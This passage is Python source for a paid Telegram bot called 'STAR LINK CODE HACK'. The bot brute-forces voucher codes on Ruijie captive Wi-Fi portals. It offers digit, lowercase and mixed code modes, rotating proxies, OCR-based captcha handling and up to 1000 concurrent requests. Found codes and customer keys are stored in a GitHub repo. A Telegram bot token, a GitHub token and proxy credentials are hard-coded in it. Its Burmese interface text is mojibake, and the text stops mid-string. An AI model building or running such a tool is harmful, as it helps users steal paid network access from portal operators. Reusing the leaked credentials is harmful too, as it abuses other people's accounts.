import telebot, asyncio, aiohttp, json, base64, random, re, os, string, time, uuid from telebot.async_telebot import AsyncTeleBot from telebot.types import InlineKeyboardMarkup, InlineKeyboardButton from aiohttp import web import cv2 import ddddocr import numpy as np from datetime import datetime, timedelta, timezone # ==================== CONFIGURATION ==================== BOT_TOKEN = "8891987402:AAEHWeDmBFp70pRt8p9_AWYAt4vAYDbIUm8" GITHUB_TOKEN = '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' REPO_OWNER = "kyawtunbo02-afk" REPO_NAME = "kotun" ADMINS = [ "8812049156", "" ] ADMIN_USERNAME = "@kotun155" def is_admin(user_id): return str(user_id) in ADMINS PROXY_LIST = [ "w9nx03l4kl8vdf0:iwx3ijrwgcyil91@rp.scrapegw.com:6060", ] _proxy_index = 0 def get_next_proxy(): global _proxy_index if not PROXY_LIST: return None proxy = PROXY_LIST[_proxy_index % len(PROXY_LIST)] _proxy_index += 1 return f"http://{proxy}" SUCCESS_CODE = asyncio.Queue() bot = AsyncTeleBot(BOT_TOKEN) user_data = {} approve = {} scan_tasks = {} success_messages = {} success_texts = {} limited_messages = {} limited_texts = {} captcha_state = {} session = None _connector = None CONCURRENCY = 1000 _voucher_sem = None _start_time = time.monotonic() MAX_CONCURRENT_SCANS = 20 active_scans_count = 0 active_scans_lock = asyncio.Lock() paid_users = {} async def handle(request): return web.Response(text="Bot is awake and running 24/7!") async def web_server(): app = web.Application() app.router.add_get('/', handle) runner = web.AppRunner(app) await runner.setup() port = int(os.environ.get('BOT_PORT', 8099)) site = web.TCPSite(runner, '0.0.0.0', port) await site.start() async def get_file_content(path): url = f"https://api.github.com/repos/{REPO_OWNER}/{REPO_NAME}/contents/{path}" headers = {"Authorization": f"token {GITHUB_TOKEN}"} async with session.get(url, headers=headers) as response: if response.status == 200: data = await response.json() content = base64.b64decode(data['content']).decode('utf-8') return json.loads(content), data['sha'] return {}, None async def update_file_content(path, content, sha, message): url = f"https://api.github.com/repos/{REPO_OWNER}/{REPO_NAME}/contents/{path}" headers = { "Authorization": f"token {GITHUB_TOKEN}", "Content-Type": "application/json" } encoded = base64.b64encode(json.dumps(content).encode()).decode() payload = { "message": message, "content": encoded, "sha": sha } async with session.put(url, headers=headers, json=payload) as response: return await response.text() def get_main_keyboard(): keyboard = InlineKeyboardMarkup(row_width=2) keyboard.add( InlineKeyboardButton("๐ซ PAID USER", callback_data="menu_paid"), InlineKeyboardButton("๐ STAR LINK Portal URL แแแบแทแแแบ", callback_data="menu_free_trial"), InlineKeyboardButton("๐ Success Codes แแผแแบแทแแแบ", callback_data="menu_result"), InlineKeyboardButton("๐ Recheck แแผแแบแแฏแแบแ แ แบแแแบ", callback_data="menu_recheck"), InlineKeyboardButton("๐ Scan แแแบแแแบ", callback_data="menu_stop"), InlineKeyboardButton("๐ Back", callback_data="menu_back") ) return keyboard def get_voucher_keyboard(): keyboard = InlineKeyboardMarkup(row_width=2) keyboard.add( InlineKeyboardButton("๐ข VOUCHER 6 แแฏแถแธ", callback_data="scan_6"), InlineKeyboardButton("๐ข VOUCHER 7 แแฏแถแธ", callback_data="scan_7"), InlineKeyboardButton("๐ข VOUCHER 8 แแฏแถแธ", callback_data="scan_8"), InlineKeyboardButton("๐ข VOUCHER 9 แแฏแถแธ", callback_data="scan_9"), InlineKeyboardButton("๐ค VOUCHER ascii-lower", callback_data="scan_ascii-lower"), InlineKeyboardButton("๐ค VOUCHER ascii-lower 9แแฏแถแธ", callback_data="scan_ascii-lower9"), InlineKeyboardButton("๐ฒ VOUCHER all", callback_data="scan_all"), InlineKeyboardButton("๐ค+๐ข MIXED 6แแฏแถแธ", callback_data="scan_mixed"), InlineKeyboardButton("๐ค+๐ข MIXED 7แแฏแถแธ", callback_data="scan_mixed7"), # <-- Added InlineKeyboardButton("๐ค+๐ข MIXED 8แแฏแถแธ", callback_data="scan_mixed8"), InlineKeyboardButton("๐ค+๐ข MIXED 9แแฏแถแธ", callback_data="scan_mixed9"), InlineKeyboardButton("๐ Back", callback_data="menu_back") ) return keyboard def get_digit_keyboard(mode): keyboard = InlineKeyboardMarkup(row_width=5) buttons = [] for i in range(10): buttons.append(InlineKeyboardButton(str(i), callback_data=f"digit_{mode}_{i}")) keyboard.add(*buttons) keyboard.add(InlineKeyboardButton("๐ฒ Random", callback_data=f"digit_{mode}_random")) keyboard.add(InlineKeyboardButton("๐ Back", callback_data="menu_back")) return keyboard def get_start_scam_keyboard(): keyboard = InlineKeyboardMarkup(row_width=1) keyboard.add( InlineKeyboardButton("๐ START SCAM", callback_data="menu_start_scam"), InlineKeyboardButton("๐ Back", callback_data="menu_back") ) return keyboard def get_paid_keyboard(): keyboard = InlineKeyboardMarkup(row_width=1) keyboard.add( InlineKeyboardButton("โ PAID USER แแผแ แบแแแบ", callback_data="menu_enter_userid"), InlineKeyboardButton("๐ Back", callback_data="menu_back") ) return keyboard def get_back_keyboard(): keyboard = InlineKeyboardMarkup(row_width=1) keyboard.add(InlineKeyboardButton("๐ Back", callback_data="menu_back")) return keyboard def get_scam_button_keyboard(): keyboard = InlineKeyboardMarkup(row_width=1) keyboard.add( InlineKeyboardButton("๐ STOP SCAM", callback_data="menu_stop"), InlineKeyboardButton("๐ Back", callback_data="menu_back") ) return keyboard @bot.message_handler(commands=['start']) async def start(message): user_id = str(message.chat.id) user_name = message.from_user.first_name or message.from_user.username or "User" if message.chat.id not in user_data: user_data[message.chat.id] = {} if user_id in paid_users or user_id in approve: approve[message.chat.id] = True welcome_text = f"""โจ STAR LINK CODE HACK โจ ๐ค NAME: {user_name} ๐ USER ID: {user_id} ๐ แแแบแนแแแฌแแซแแแบแแปแฌ! โ แแแทแบแกแแฑแแฒแท PAID USER แแผแ แบแแซแแแบแ โพ๏ธ Unlimited Credit แแผแแทแบ แแฏแถแธแ แฝแฒแแญแฏแแบแแซแแแบแ แกแฑแฌแแบแแซ Menu แแพ แแแบแแญแฏแแปแแบแแฌแแญแฏแแฝแฑแธแแปแแบแแซแ""" else: welcome_text = f"""โจ STAR LINK CODE HACK โจ ๐ค NAME: {user_name} ๐ USER ID: {user_id} โ ๏ธ แแแบแ user ID แแญแฏ registered แแแฏแแบแแแฑแธแแซแ PAID USER แแผแ แบแแแบ แกแฑแฌแแบแแซ Menu แแพ PAID USER แแญแฏแแพแญแแบแแซแ ๐จโ๐ป Admin: {ADMIN_USERNAME}""" await bot.send_message(message.chat.id, welcome_text, reply_markup=get_main_keyboard()) @bot.message_handler(commands=['sendall']) async def send_all_broadcast(message): if not is_admin(message.chat.id): return args = message.text.split(maxsplit=1) if len(args) < 2: await bot.reply_to(message, "Usage: /sendall [your_message]") return broadcast_text = f"๐ข ADMIN NOTIFICATION\n\n{args[1]}" auth_list, _ = await get_file_content("auth_list.json") count = 0 for uid in auth_list: try: await bot.send_message(int(uid), broadcast_text) count += 1 await asyncio.sleep(0.1) except: continue await bot.reply_to(message, f"โ User {count} แแฑแฌแแบแแถแแญแฏแท แ แฌแแญแฏแทแแผแฎแธแแซแแผแฎแ") @bot.callback_query_handler(func=lambda call: True) async def callback_handler(call): chat_id = call.message.chat.id user_id = str(chat_id) user_name = call.from_user.first_name or call.from_user.username or "User" if call.data == "menu_back": if user_id in paid_users or user_id in approve: text = f"""โจ STAR LINK CODE HACK โจ ๐ค NAME: {user_name} ๐ USER ID: {user_id} โ PAID USER - Unlimited Access""" else: text = f"""โจ STAR LINK CODE HACK โจ ๐ค NAME: {user_name} ๐ USER ID: {user_id} โ ๏ธ แแแบแ user ID แแญแฏ registered แแแฏแแบแแแฑแธแแซแ PAID USER แแผแ แบแแแบ แกแฑแฌแแบแแซ Menu แแพ PAID USER แแญแฏแแพแญแแบแแซแ""" await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=text, reply_markup=get_main_keyboard() ) await bot.answer_callback_query(call.id) return if call.data == "menu_free_trial": if user_id not in paid_users and user_id not in approve: await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=f"โ แแแบแ user ID แแญแฏ registered แแแฏแแบแแแฑแธแแซแ\n\nPAID USER แแผแ แบแแแบ Admin {ADMIN_USERNAME} แแญแฏแท แแแบแแฝแแบแแซแ", reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return text = f"""๐ Portal URL แแแทแบแแฝแแบแธแแแบ: /portal [your_portal_url] แฅแแแฌ: /portal https://portal-as.ruijienetworks.com/download/static/maccauth/src/index.html?lang=en_US&mac=02:00:00:00:00:00 Portal URL แกแแ แบแแแทแบแแซแ แแแแบ URL แแปแแบแแฝแฌแธแแแบแแผแ แบแแแบแ""" await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=text, reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return if call.data == "menu_start_scam": if user_id not in paid_users and user_id not in approve: await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=f"โ แแแบแ user ID แแญแฏ registered แแแฏแแบแแแฑแธแแซแ\n\nPAID USER แแผแ แบแแแบ Admin {ADMIN_USERNAME} แแญแฏแท แแแบแแฝแแบแแซแ", reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return global active_scans_count, active_scans_lock async with active_scans_lock: if active_scans_count >= MAX_CONCURRENT_SCANS: await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=f"โ ๏ธ Bot แกแแฏแแบแแปแฌแธแแฑแแซแแแบแ แแแบแแพแญ {active_scans_count}/{MAX_CONCURRENT_SCANS} แแฑแฌแแบ scan แแฏแแบแแฑแแซแแแบแ\n\nแแแ แฑแฌแแทแบแแผแฎแธแแพ แแแบแแผแญแฏแธแ แฌแธแแซแ", reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return active_scans_count += 1 if chat_id not in user_data or 'selected_mode' not in user_data.get(chat_id, {}): await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text="โ VOUCHER แกแแปแญแฏแธแกแ แฌแธแแแฝแฑแธแแแฑแธแแซแ แแปแฑแธแแฐแธแแผแฏแ VOUCHER แกแแแบแแฝแฑแธแแซแ", reply_markup=get_voucher_keyboard() ) await bot.answer_callback_query(call.id) return mode = user_data[chat_id]['selected_mode'] start_digit = user_data[chat_id].get('start_digit') if chat_id not in user_data or 'session_url' not in user_data.get(chat_id, {}): await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text="๐ แแปแฑแธแแฐแธแแผแฏแ Portal URL แแญแฏแกแแแบแแแทแบแแฝแแบแธแแซ:\n\n/portal [your_portal_url]", reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return if chat_id in scan_tasks and not scan_tasks[chat_id]["task"].done(): await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text="Scan แแแบ แกแแฏแแบแแฏแแบแแฑแแผแฎแแผแ แบแแแบแ STOP SCAM แแแฏแแบแแผแแทแบ แแแบแแแทแบแแญแฏแแบแแซแแแบแ", reply_markup=get_scam_button_keyboard() ) await bot.answer_callback_query(call.id) return await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=f"๐ Scan แ แแแบแแฑแแซแแแบ...\n\n๐ข VOUCHER Mode: {mode}\n\nSTOP SCAM แแแฏแแบแแผแแทแบ แแแบแแแทแบแแญแฏแแบแแซแแแบแ", reply_markup=get_scam_button_keyboard(), parse_mode="Markdown" ) progress_msg = await bot.send_message(chat_id, "๐ Scanning VOUCHER Codes...\n\n") scan_id = str(uuid.uuid4()) try: portal_url = user_data[chat_id].get('session_url', 'Unknown') last_url = user_data[chat_id].get('last_admin_notified_url', '') if portal_url != last_url and portal_url != 'Unknown': admin_msg = f"๐ **Scan Start Notification**\n\n๐ค **User:** {user_name}\n๐ **User ID:** `{user_id}`\n๐ข **Mode:** {mode}\n๐ **Portal URL:**\n`{portal_url}`" for admin_id in ADMINS: try: await bot.send_message(admin_id, admin_msg, parse_mode="Markdown") except: pass user_data[chat_id]['last_admin_notified_url'] = portal_url except Exception as e: print(f"Admin Notification Error: {e}") task = asyncio.create_task( run_bruteforce( mode, chat_id, user_data[chat_id]['session_url'], scan_id, message=call.message, progress_msg=progress_msg, start_digit=start_digit ) ) scan_tasks[chat_id] = { "task": task, "stop": False, "scan_id": scan_id } await bot.answer_callback_query(call.id) return if call.data == "menu_paid": text = f"""๐ PAID USER แแผแ แบแแแบ แแปแฑแธแแฐแธแแผแฏแ แแแบแ USER ID แแญแฏแแแทแบแแฝแแบแธแแซแ USER ID: {user_id} โ แแแบแ USER ID แแญแฏ Admin แแถ แแฑแธแแญแฏแทแแผแฎแธ Key แแแบแแฐแแซแ ๐จโ๐ป Admin: {ADMIN_USERNAME} Key แแแพแญแแผแฎแธแแซแ PAID USER แแผแ แบแแแบ แแพแญแแบแแซ""" await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=text, reply_markup=get_paid_keyboard() ) await bot.answer_callback_query(call.id) return if call.data == "menu_enter_userid": auth_list, _ = await get_file_content("auth_list.json") if user_id in auth_list: valid = check_key_expiration(auth_list[user_id]) if valid: approve[chat_id] = True paid_users[user_id] = True if chat_id not in user_data: user_data[chat_id] = {} await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=f"โ PAID USER แแผแ แบแแซแแผแฎแ\n\nUSER ID: {user_id}\n\nแกแฑแฌแแบแแซ Menu แแพ แแแบแแญแฏแแปแแบแแฌแแญแฏแแฝแฑแธแแปแแบแแซแ", reply_markup=get_main_keyboard() ) else: await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=f"โ แแแบแ Key Expired แแผแ แบแแฑแแซแแแบแ แแปแฑแธแแฐแธแแผแฏแ Admin {ADMIN_USERNAME} แแญแฏแท แแแบแแฝแแบแแซแ", reply_markup=get_back_keyboard() ) else: for admin_id in ADMINS: try: await bot.send_message( chat_id=admin_id, text=f"๐ New User Request:\nName: {user_name}\nID: {user_id}\n\nTo approve:\n/genkey unlimited {user_id}" ) except: pass await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=f"๐ แแปแฑแธแแฐแธแแผแฏแ Paid แแแบแแฐแแซแ\n\nUSER ID: {user_id}\n\nAdmin แแพ แแแทแบ ID แแญแฏ แกแแแบแแผแฏแแผแฎแธแแซแ PAID USER แแผแ แบแแซแแแบแ\n๐จโ๐ป Admins: {ADMIN_USERNAME} & @makxchemistry", reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return if call.data == "menu_result": if user_id not in paid_users and user_id not in approve: await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=f"โ แแแบแ user ID แแญแฏ registered แแแฏแแบแแแฑแธแแซแ\n\nPAID USER แแผแ แบแแแบ Admin {ADMIN_USERNAME} แแญแฏแท แแแบแแฝแแบแแซแ", reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return results, _ = await get_file_content("result.json") if user_id in results and results[user_id]: codes = "\n".join(results[user_id]) text = f"โ Found Codes:\n{codes}" else: text = "๐ แแแทแบแแฝแแบ แแแแบแแแแพแญแแฌแธแแฑแฌ success code แแแพแญแแฑแธแแซแ" await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=text, reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return if call.data == "menu_recheck": if user_id not in paid_users and user_id not in approve: await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=f"โ แแแบแ user ID แแญแฏ registered แแแฏแแบแแแฑแธแแซแ\n\nPAID USER แแผแ แบแแแบ Admin {ADMIN_USERNAME} แแญแฏแท แแแบแแฝแแบแแซแ", reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return if chat_id not in user_data or 'session_url' not in user_data.get(chat_id, {}): await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text="๐ แแปแฑแธแแฐแธแแผแฏแ Portal URL แแญแฏแกแแแบแแแทแบแแฝแแบแธแแซ:\n\n/portal [your_portal_url]", reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text="๐ Recheck แแญแฏ แ แแแบแแฑแแซแแแบ...", reply_markup=get_scam_button_keyboard() ) await recheck_command(call.message) await bot.answer_callback_query(call.id) return if call.data == "menu_stop": await stop_scan_command(call.message) await bot.answer_callback_query(call.id, "๐ Scan แแญแฏแแแบแแแทแบแแญแฏแแบแแซแแผแฎแ", show_alert=True) return if call.data.startswith("scan_"): if user_id not in paid_users and user_id not in approve: await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=f"โ แแแบแ user ID แแญแฏ registered แแแฏแแบแแแฑแธแแซแ\n\nPAID USER แแผแ แบแแแบ Admin {ADMIN_USERNAME} แแญแฏแท แแแบแแฝแแบแแซแ", reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return mode = call.data.replace("scan_", "") if chat_id not in user_data: user_data[chat_id] = {} if 'session_url' not in user_data[chat_id]: await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text="๐ แแปแฑแธแแฐแธแแผแฏแ Portal URL แแญแฏแกแแแบแแแทแบแแฝแแบแธแแซ:\n\n/portal [your_portal_url]", reply_markup=get_back_keyboard() ) await bot.answer_callback_query(call.id) return # For digit modes (6,7,8,9) show digit selection if mode in ["6", "7", "8", "9"]: await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=f"๐ข VOUCHER {mode} แแฏแถแธแกแแฝแแบ แแญแแบแ แฎแธแแถแแซแแบแแฝแฑแธแแซ -", reply_markup=get_digit_keyboard(mode) ) await bot.answer_callback_query(call.id) return # For other modes (including mixed7) just set and show start button user_data[chat_id]['selected_mode'] = mode user_data[chat_id]['start_digit'] = None text = f"""๐ แแแบแแฝแฑแธแแปแแบแแฌแธแแฑแฌ VOUCHER แกแแปแญแฏแธแกแ แฌแธ: {mode} โ START SCAM แแแฏแแบแแญแฏแแพแญแแบแแผแฎแธ แ แแแบแแซแ ๐ STOP SCAM แแแฏแแบแแผแแทแบ แแแบแแแทแบแแญแฏแแบแแซแแแบแ""" await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=text, reply_markup=get_start_scam_keyboard() ) await bot.answer_callback_query(call.id) return if call.data.startswith("digit_"): parts = call.data.split("_") mode = parts[1] digit = parts[2] if chat_id not in user_data: user_data[chat_id] = {} user_data[chat_id]['selected_mode'] = mode user_data[chat_id]['start_digit'] = None if digit == "random" else digit text = f"๐ VOUCHER Mode: {mode}\n" if digit == "random": text += "๐ข แแญแแบแ แฎแธแแถแแซแแบ: Random แแผแ แบแแพแฌแแแบ" else: text += f"๐ข แแญแแบแ แฎแธแแถแแซแแบ: {digit} แแพแ แแแพแฌแแแบ" await bot.edit_message_text( chat_id=chat_id, message_id=call.message.message_id, text=text + "\n\nโ START SCAM แแแฏแแบแแญแฏแแพแญแแบแแผแฎแธ แ แแแบแแซแ", reply_markup=get_start_scam_keyboard() ) await bot.answer_callback_query(call.id) return @bot.message_handler(commands=['key']) async def handle_key(message): global approve, paid_users args = message.text.split() if len(args) < 2: await bot.reply_to(message, "๐ แแปแฑแธแแฐแธแแผแฏแ แแแบแ KEY แแญแฏแแแทแบแแฝแแบแธแแซ:\n\n/key [your_key_here]") return key = args[1] user_id = str(message.chat.id) auth_list, _ = await get_file_content("auth_list.json") if key == user_id or user_id in auth_list or key in auth_list: valid = True if user_id in auth_list: valid = check_key_expiration(auth_list[user_id]) elif key in auth_list: valid = check_key_expiration(auth_list[key]) if valid: approve[message.chat.id] = True paid_users[user_id] = True if message.chat.id not in user_data: user_data[message.chat.id] = {} await bot.reply_to( message, f"โ PAID USER แแผแ แบแแซแแผแฎแ\n\nUSER ID: {user_id}\n\nแกแฑแฌแแบแแซ Menu แแพ แแแบแแญแฏแแปแแบแแฌแแญแฏแแฝแฑแธแแปแแบแแซแ" ) else: await bot.reply_to( message, "โ Key Expired แแผแ แบแแฑแแซแแแบแ" ) else: await bot.reply_to( message, f"โ แแแบแ key แแญแฏ registered แแแฏแแบแแแฑแธแแซแ\n\nUSER ID: {user_id}\n\nPAID USER แแผแ แบแแแบ Admin {ADMIN_USERNAME} แแญแฏแท แแแบแแฝแแบแแซแ" ) @bot.message_handler(commands=['listkeys']) async def listkeys(message): if not is_admin(message.chat.id): await bot.reply_to(message, "No Permission") return try: auth_list, _ = await get_file_content("auth_list.json") if not auth_list: await bot.reply_to(message, "Registered key แแแพแญแแฑแธแแซแ") return lines = [] for uid, data in auth_list.items(): if isinstance(data, dict): expires = data.get("expires_at", "unknown") plan = data.get("plan", "unknown") if expires == "9999-12-31T23:59:59Z": expires_str = "Unlimited" else: try: exp_dt = datetime.fromisoformat(expires.replace("Z", "+00:00")) now = datetime.now(timezone.utc) if exp_dt < now: expires_str = "Expired" else: diff = exp_dt - now days = diff.days hours, rem = divmod(diff.seconds, 3600) minutes = rem // 60 expires_str = f"{days}d {hours}h {minutes}m left" except: expires_str = expires else: plan = "old" expires_str = str(data) lines.append(f"๐ค {uid}\n Plan: {plan}\n Expires: {expires_str}") text = f"๐ Registered Keys ({len(auth_list)})\n\n" + "\n\n".join(lines) if len(text) > 4096: for i in range(0, len(text), 4096): await bot.send_message(message.chat.id, text[i:i+4096]) else: await bot.reply_to(message, text) except Exception as e: print(f"Error at listkeys {e}") @bot.message_handler(commands=['delkey']) async def delkey(message): if not is_admin(message.chat.id): await bot.reply_to(message, "No Permission") return try: args = message.text.split() if len(args) < 2: await bot.reply_to(message, "Usage:\n/delkey 123456789") return user_id = args[1] auth_list, sha = await get_file_content("auth_list.json") if user_id not in auth_list: await bot.reply_to(message, f"User ID {user_id} แแแฝแฑแทแแซแ") return del auth_list[user_id] await update_file_content( "auth_list.json", auth_list, sha, f"Delete key for {user_id}" ) approve.pop(int(user_id), None) paid_users.pop(user_id, None) user_data.pop(int(user_id), None) await bot.reply_to( message, f"โ Key Deleted\n\nUSER ID : {user_id}" ) except Exception as e: print(f"Error at delkey {e}") @bot.message_handler(commands=['genkey']) async def genkey(message): if not is_admin(message.chat.id): await bot.reply_to(message, "No Permission") return try: args = message.text.split() if len(args) < 3: await bot.reply_to(message, "Usage:\n/genkey unlimited 123456789") return plan = args[1] user_id = args[2] expiry = generate_expiry(plan) if not expiry: await bot.reply_to( message, "Plans:\n30m\n1h\n1d\n7d\n1m\n1y\nunlimited" ) return auth_list, sha = await get_file_content("auth_list.json") auth_list[user_id] = { "expires_at": expiry, "plan": plan } await update_file_content( "auth_list.json", auth_list, sha, f"Add key for {user_id}" ) await bot.reply_to( message, f"โ Key Generated\n\n" f"USER ID : {user_id}\n" f"PLAN : {plan}\n" f"EXPIRES : {expiry}" ) except Exception as e: print(f"Error at genkey {e}") @bot.message_handler(commands=['result']) async def handle_result(message): user_id = str(message.chat.id) if user_id not in paid_users and user_id not in approve: await bot.reply_to(message, f"โ แแแบแ user ID แแญแฏ registered แแแฏแแบแแแฑแธแแซแ\n\nPAID USER แแผแ แบแแแบ Admin {ADMIN_USERNAME} แแญแฏแท แแแบแแฝแแบแแซแ") return results, _ = await get_file_content("result.json") chat_id_str = str(message.chat.id) if chat_id_str in results and results[chat_id_str]: codes = "\n".join(results[chat_id_str]) await bot.reply_to(message, f"โ Found Codes:\n{codes}") else: await bot.reply_to(message, "แแแทแบแแฝแแบ แแแแบแแแแพแญแแฌแธแแฑแฌ code แแแพแญแแฑแธแแซแ") def check_key_expiration(expiration_time): try: if isinstance(expiration_time, dict): expiry = expiration_time.get("expires_at") if expiry == "9999-12-31T23:59:59Z": return True exp_time = datetime.fromisoformat(expiry.replace("Z", "+00:00")) return datetime.now(timezone.utc) < exp_time mm, hh, dd, MM, yyyy = map( int, expiration_time.split('-') ) expiration_dt = datetime( year=yyyy, month=MM, day=dd, hour=hh, minute=mm, second=0, tzinfo=timezone.utc ) return datetime.now(timezone.utc) < expiration_dt except Exception as e: print("Key parse error:", e) return False def generate_expiry(plan): now = datetime.now(timezone.utc) plans = { "30m": timedelta(minutes=30), "1h": timedelta(hours=1), "1d": timedelta(days=1), "7d": timedelta(days=7), "1m": timedelta(days=30), "1y": timedelta(days=365), "unlimited": None } if plan not in plans: return None if plan == "unlimited": return "9999-12-31T23:59:59Z" return (now + plans[plan]).isoformat() def get_current_time(): return datetime.now(timezone.utc) @bot.message_handler(commands=['recheck']) async def recheck(message): chat_id = message.chat.id user_id = str(chat_id) if user_id not in paid_users and user_id not in approve: await bot.reply_to(message, f"โ แแแบแ user ID แแญแฏ registered แแแฏแแบแแแฑแธแแซแ\n\nPAID USER แแผแ แบแแแบ Admin {ADMIN_USERNAME} แแญแฏแท แแแบแแฝแแบแแซแ") return results, sha = await get_file_content("result.json") chat_id_str = str(message.chat.id) if chat_id_str in results and results[chat_id_str]: if message.chat.id not in user_data: await bot.reply_to(message, "Scan แแฏแแบแแแบ Portal URL แแญแฏแกแแแบแแแทแบแแฝแแบแธแแฑแธแแซแ") return if "session_url" not in user_data.get(message.chat.id, {}): await bot.reply_to(message, "Scan แแฏแแบแแแบ Portal URL แแญแฏแกแแแบแแแทแบแแฝแแบแธแแฑแธแแซแ") return codes = results[chat_id_str] await bot.reply_to(message, f"Success Code แแปแฌแธแกแฌแธ แแผแแบแแแบแ แ แบแแฑแธแแฑแแซแแแบแ") session_url_recheck = user_data[message.chat.id]["session_url"] recheck_list = [] for code in codes: recode = await perform_check( session_url_recheck, code, chat_id, scan_id=None, recheck=True, message=message ) if recode: recheck_list.append(recode) to_show = "\n".join(recheck_list) if recheck_list else "Code แแปแฌแธแกแฌแธแแฏแถแธแ แ แบแแฑแธแแผแฎแธแแซแแผแฎ แแแบแแแทแบ success code แแปแพแแพแฌแแแฝแฑแทแแซแ" await bot.reply_to(message, f"โ Rechecked Codes:\n\n{to_show}") await save_rechecked_codes(chat_id_str, recheck_list, sha) else: await bot.reply_to(message, "แแแทแบแแฝแแบ success code แแ แบแแฏแแปแพแแแพแญแแฑแธแแซแ") async def save_rechecked_codes(chat_id_str, recheck_list, sha): results, _ = await get_file_content("result.json") results[chat_id_str] = recheck_list await update_file_content("result.json", results, sha, f"Update after recheck for {chat_id_str}") @bot.message_handler(commands=['portal']) async def handle_portal(message): user_id = str(message.chat.id) if user_id not in paid_users and user_id not in approve: await bot.reply_to(message, f"โ แแแบแ user ID แแญแฏ registered แแแฏแแบแแแฑแธแแซแ\n\nPAID USER แแผแ แบแแแบ Admin {ADMIN_USERNAME} แแญแฏแท แแแบแแฝแแบแแซแ") return args = message.text.split(maxsplit=1) if len(args) < 2: await bot.reply_to( message, "๐ Portal URL แแแทแบแแฝแแบแธแแแบ:\n\n/portal [your_portal_url]\n\nแฅแแแฌ:\n/portal https://portal-as.ruijienetworks.com/download/static/maccauth/src/index.html?lang=en_US&mac=02:00:00:00:00:00" ) return url = args[1] if message.chat.id not in user_data: user_data[message.chat.id] = {} await bot.reply_to(message, "๐ Portal URL แกแฌแธแ แ แบแแฑแธแแฑแแซแแแบ...") if await check_session_url_improved(session_url=url): user_data[message.chat.id]['session_url'] = url await bot.reply_to( message, "โ Portal URL แกแฌแธแแญแแบแธแแแบแธแแผแฎแธแแซแแผแฎแ\n\nVOUCHER แแฝแฑแธแแปแแบแแแบ Menu แแญแฏแแฏแถแธแแซแ", reply_markup=get_voucher_keyboard() ) else: await bot.reply_to( message, f"โ Portal URL แแพแฌแธแแฝแแบแธแแฑแแซแแแบแ แแปแฑแธแแฐแธแแผแฏแ แแผแแบแแแบแ แ แบแแฑแธแแซแ\n\n" f"โ แแพแแบแแแบแแฒแท URL แแฏแถแ แถ:\n" f"`https://portal-as.ruijienetworks.com/download/static/maccauth/src/index.html?lang=en_US&mac=02:00:00:00:00:00`", parse_mode="Markdown" ) async def check_session_url_improved(session_url, use_proxy=False): headers = { 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-language': 'en-US,en;q=0.9', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', } proxy = get_next_proxy() if use_proxy else None try: async with session.get(session_url, allow_redirects=True, headers=headers, proxy=proxy, timeout=15) as response: if response.status >= 400: return False final_url = str(response.url) response_text = await response.text() if "sessionId" in final_url or "sessionId" in response_text: return True portal_indicators = [ "portal-as.ruijienetworks.com", "maccauth", "index.html", "sessionId", "lang=en_US" ] for indicator in portal_indicators: if indicator in final_url or indicator in response_text: return True session_patterns = [ r'sessionId["\']?\s*[:=]\s*["\']?([a-zA-Z0-9]+)', r'["\']sessionId["\']\s*:\s*["\']([a-zA-Z0-9]+)', r'[?&]sessionId=([a-zA-Z0-9]+)' ] for pattern in session_patterns: if re.search(pattern, response_text, re.IGNORECASE): return True if re.search(pattern, final_url, re.IGNORECASE): return True if "portal" in response_text.lower() or "captcha" in response_text.lower(): return True return False except asyncio.TimeoutError: print(f"Portal check timeout for URL: {session_url}") return False except Exception as e: print(f"Portal check error: {e}") return False @bot.message_handler(commands=['scan']) async def handle_key_scan(message): args = message.text.split(maxsplit=1) if len(args) < 2: await bot.reply_to( message, "VOUCHER แแฝแฑแธแแปแแบแแแบ:\n\n/scan 6, 7, 8, 9, ascii-lower, ascii-lower9, all, mixed, mixed7, mixed8, mixed9", reply_markup=get_voucher_keyboard() ) return mode = args[1] chat_id = message.chat.id user_id = str(chat_id) if user_id not in paid_users and user_id not in approve: await bot.reply_to( message, f"โ แแแบแ user ID แแญแฏ registered แแแฏแแบแแแฑแธแแซแ\n\nPAID USER แแผแ แบแแแบ Admin {ADMIN_USERNAME} แแญแฏแท แแแบแแฝแแบแแซแ" ) return if chat_id not in user_data: await bot.reply_to(message, "Scan แแฏแแบแแแบ Portal URL 